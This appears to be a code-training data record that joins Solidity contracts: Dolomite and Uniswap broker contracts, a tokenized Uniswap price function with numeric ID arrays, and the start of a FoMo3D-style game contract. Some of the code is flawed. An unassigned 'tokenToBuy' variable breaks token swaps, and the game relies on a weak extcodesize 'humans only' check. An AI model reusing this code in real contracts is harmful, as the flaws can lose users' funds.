* If the token is WETH, it returns the sum of the ETH and WETH balance, * as ETH is automatically wrapped upon transfers (unless the unwrap option is * set to true in the transfer request) */ function balanceOf(address owner, address token) public view returns (uint) { address depositAddress = registry.depositAddressOf(owner); uint tokenBalance = IERC20(token).balanceOf(depositAddress); if (token == wethTokenAddress) tokenBalance = tokenBalance.add(depositAddress.balance); return tokenBalance; } /* * Send up a signed transfer request and the given amount tokens * is transfered to the specified recipient. */ function transfer(Types.Request memory request) public { validateRequest(request); Types.TransferRequest memory transferRequest = request.decodeTransferRequest(); address payable depositAddress = registry.depositAddressOf(request.owner); _transfer( transferRequest.token, depositAddress, transferRequest.recipient, transferRequest.amount, transferRequest.unwrap ); completeRequest(request); } // ============================= function _transfer(address token, address payable depositAddress, address recipient, uint amount, bool unwrap) internal { IDepositContract depositContract = IDepositContract(depositAddress); if (token == wethTokenAddress && unwrap) { if (depositAddress.balance < amount) { depositContract.unwrapWeth(wethTokenAddress, amount.sub(depositAddress.balance)); } depositContract.transferEth(recipient, amount); return; } depositContract.wrapAndTransferToken(token, recipient, amount, wethTokenAddress); } // ----------------------------- // Loopring Broker Delegate function brokerRequestAllowance(BrokerData.BrokerApprovalRequest memory request) public returns (bool) { require(msg.sender == loopringDelegate); BrokerData.BrokerOrder[] memory mergedOrders = new BrokerData.BrokerOrder[](request.orders.length); uint numMergedOrders = 1; mergedOrders[0] = request.orders[0]; if (request.orders.length > 1) { for (uint i = 1; i < request.orders.length; i++) { bool isDuplicate = false; for (uint b = 0; b < numMergedOrders; b++) { if (request.orders[i].owner == mergedOrders[b].owner) { mergedOrders[b].requestedAmountS += request.orders[i].requestedAmountS; mergedOrders[b].requestedFeeAmount += request.orders[i].requestedFeeAmount; isDuplicate = true; break; } } if (!isDuplicate) { mergedOrders[numMergedOrders] = request.orders[i]; numMergedOrders += 1; } } } for (uint j = 0; j < numMergedOrders; j++) { BrokerData.BrokerOrder memory order = mergedOrders[j]; address payable depositAddress = registry.depositAddressOf(order.owner); _transfer(request.tokenS, depositAddress, address(this), order.requestedAmountS, false); if (order.requestedFeeAmount > 0) _transfer(request.feeToken, depositAddress, address(this), order.requestedFeeAmount, false); } return false; // Does not use onOrderFillReport } function onOrderFillReport(BrokerData.BrokerInterceptorReport memory fillReport) public { // Do nothing } function brokerBalanceOf(address owner, address tokenAddress) public view returns (uint) { return balanceOf(owner, tokenAddress); } // ---------------------------- // Dolomite Margin Trading Broker function brokerMarginRequestApproval(address owner, address token, uint amount) public { require(msg.sender == dolomiteMarginProtocolAddress); address payable depositAddress = registry.depositAddressOf(owner); _transfer(token, depositAddress, address(this), amount, false); } function brokerMarginGetTrader(address owner, bytes memory orderData) public view returns (address) { return registry.depositAddressOf(owner); } // ----------------------------- // Requestable function _payRequestFee(address owner, address feeToken, address feeRecipient, uint feeAmount) internal { _transfer(feeToken, registry.depositAddressOf(owner), feeRecipient, feeAmount, false); } // ----------------------------- // Versionable function versionBeginUsage( address owner, address payable depositAddress, address oldVersion, bytes calldata additionalData ) external { // Approve the DolomiteMarginProtocol as an operator for the deposit contract's dYdX account IDepositContract(depositAddress).setDydxOperator(dydxProtocolAddress, dolomiteMarginProtocolAddress); } function versionEndUsage( address owner, address payable depositAddress, address newVersion, bytes calldata additionalData ) external { /* do nothing */ } // ============================= // Administrative /* * Tokens are held in individual deposit contracts, the only time a trader's * funds are held by this contract is when Loopring or dYdX requests a trader's * tokens, and immediately upon this contract moving funds into itself, Loopring * or dYdX will move the funds out and into themselves. Thus, we can open this * function up for anyone to call to set or reset the approval for Loopring and * dYdX for a given token. The reason these approvals are set globally and not * on an as-needed (per fill) basis is to reduce gas costs. */ function enableTrading(address token) external { IERC20(token).approve(loopringDelegate, 10**70); IERC20(token).approve(dolomiteMarginProtocolAddress, 10**70); } } // File: contracts/market-making/helper/MakerBrokerBase.sol pragma solidity 0.5.7; contract MakerBrokerBase { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "NOT_OWNER"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0x0), "ZERO_ADDRESS"); owner = newOwner; } function withdrawDust(address token) external { require(msg.sender == owner, "UNAUTHORIZED"); ERC20(token).transfer(msg.sender, ERC20(token).balanceOf(address(this))); } function withdrawEthDust() external { require(msg.sender == owner, "UNAUTHORIZED"); msg.sender.transfer(address(this).balance); } } // File: contracts/market-making/UniswapMakerBroker.sol /* * Copyright 2019 Dolomite * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.5.7; library UniswapFactoryHelper { function exchangeOf(IUniswapFactory self, address token) internal returns (IUniswapExchange) { return IUniswapExchange(self.getExchange(token)); } } /* * Inherits Loopring's IBrokerDelegate and sources liquidity from Uniswap * when the Loopring protocol requests a token approval. Because the Loopring * protocol expects the taker order to precede maker orders, and non-brokered * transfers occur before before brokered transfers, it is guaranteed that this * broker contract will receive the necessary tokens to trade, right before it * sets the approval and the Loopring protocol transfers the tokens out. Thus, * liquidity can be sourced on-chain with no money down! */ contract UniswapMakerBroker is MakerBrokerBase { using UniswapFactoryHelper for IUniswapFactory; address public wethTokenAddress; address public loopringProtocol; IUniswapFactory public uniswapFactory; mapping(address => address) public tokenToExchange; mapping(address => bool) public tokenToIsSetup; constructor(address _loopringProtocol, address _uniswapFactory, address _wethTokenAddress) public { loopringProtocol = _loopringProtocol; wethTokenAddress = _wethTokenAddress; uniswapFactory = IUniswapFactory(_uniswapFactory); } function setupToken(address token, bool setupExchange) public { if (setupExchange) { IUniswapExchange exchange = uniswapFactory.exchangeOf(token); ERC20(token).approve(address(exchange), 10 ** 70); tokenToExchange[token] = address(exchange); } ERC20(token).approve(loopringProtocol, 10 ** 70); tokenToIsSetup[token] = true; } function () external payable { // No op, but accepts ETH being sent to this contract. } // -------------------------------- // Loopring Broker Delegate function brokerRequestAllowance(BrokerData.BrokerApprovalRequest memory request) public returns (bool) { require(msg.sender == loopringProtocol, "Uniswap MakerBroker: Unauthorized caller"); require(tokenToIsSetup[request.tokenS], "Uniswap MakerBroker: tokenS is not setup yet"); for (uint i = 0; i < request.orders.length; i++) { require(request.orders[i].tokenRecipient == address(this), "Uniswap MakerBroker: Order tokenRecipient must be this broker"); require(request.orders[i].owner == owner, "Uniswap MakerBroker: Order owner must be the owner of this contract"); } if (request.tokenB == wethTokenAddress) { // We need to convert WETH to ETH to 1) avoid double fee payment on Uniswap and 2) get the best price on Uniswap WETH(wethTokenAddress).withdraw(request.totalFillAmountB); } // perform exchange bool isTokenBExchangeWrapper = abi.decode(request.orders[0].extraData, (bool)); IUniswapExchange exchange; if (isTokenBExchangeWrapper) { exchange = IUniswapExchange(address(uint160(tokenToExchange[request.tokenB]))); } else { exchange = IUniswapExchange(address(uint160(tokenToExchange[request.tokenS]))); } uint deadline = block.timestamp + 1; uint exchangeAmount; if (request.tokenS == wethTokenAddress) { exchangeAmount = exchange.tokenToEthSwapInput(request.totalFillAmountB, request.totalRequestedAmountS, deadline); } else if (request.tokenB == wethTokenAddress) { exchangeAmount = exchange.ethToTokenSwapInput.value(request.totalFillAmountB)(request.totalRequestedAmountS, deadline); } else { // Pure token to token address tokenToBuy; if (isTokenBExchangeWrapper) { request.tokenS; } else { request.tokenB; } exchangeAmount = exchange.tokenToTokenSwapInput( request.totalFillAmountB, request.totalRequestedAmountS, /* minEthBoughtInWei */ 1, // We don't care about the token <-> ETH exchange rate as long as we get enough tokenB deadline, tokenToBuy); } if (request.tokenS == wethTokenAddress) { // Orders on Dolomite require we use WETH instead of ETH, so we must convert it back WETH(wethTokenAddress).deposit.value(exchangeAmount)(); } return false; } function onOrderFillReport(BrokerData.BrokerInterceptorReport memory fillReport) public { // No op } /* * Balance is unknown as it is entirely dependent on the offer in Uniswap being filled. * Thus we send down a very large number to ensure the relay/matching engine believes * orders from this broker have enough of a balance for trades to be filled. */ function brokerBalanceOf(address owner, address tokenAddress) public view returns (uint) { return 10 ** 70; } }
* @notice Public price function for Token to ETH trades with an exact input. @param tokens_sold Amount of Tokens sold. @return Amount of ETH that can be bought with input Tokens./
function getTokenToEthInputPrice(uint256 tokens_sold) public view returns (uint256) { require(tokens_sold > 0); uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance); return eth_bought; }
5,385,848
[ 1, 4782, 6205, 445, 364, 3155, 358, 512, 2455, 1284, 5489, 598, 392, 5565, 810, 18, 225, 2430, 67, 87, 1673, 16811, 434, 13899, 272, 1673, 18, 327, 16811, 434, 512, 2455, 716, 848, 506, 800, 9540, 598, 810, 13899, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 9162, 774, 41, 451, 1210, 5147, 12, 11890, 5034, 2430, 67, 87, 1673, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 2583, 12, 7860, 67, 87, 1673, 405, 374, 1769, 203, 565, 2254, 5034, 1147, 67, 455, 6527, 273, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 565, 2254, 5034, 13750, 67, 1075, 9540, 273, 12353, 5147, 12, 7860, 67, 87, 1673, 16, 1147, 67, 455, 6527, 16, 1758, 12, 2211, 2934, 12296, 1769, 203, 565, 327, 13750, 67, 1075, 9540, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } pragma solidity ^0.4.24; /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } pragma solidity ^0.4.24; library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity ^0.4.24; // "./PlayerBookInterface.sol"; // "./SafeMath.sol"; // "./NameFilter.sol"; // 'openzeppelin-solidity/contracts/ownership/Ownable.sol'; //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract F3Devents { /* event debug ( uint16 code, uint256 value, bytes32 msg ); */ // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, // uint256 comAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract FoMo3DWorld is modularLong, Ownable { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; // otherFoMo3D private otherF3D_; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x789C537cE585595596D3905f401235f5A85B11d7); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "FoMo3D World"; string constant public symbol = "F3DW"; // uint256 private rndExtra_ = extSettings.getLongExtra(); // length of the very first ICO uint256 constant private rndGap_ = 0; // 120 seconds; // length of ICO phase. uint256 constant private rndInit_ = 1 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(30, 6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(43, 0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(56, 10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(43, 8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15, 10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25, 0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20, 20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30, 10); //48% to winner, 10% to next round, 2% to com } /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 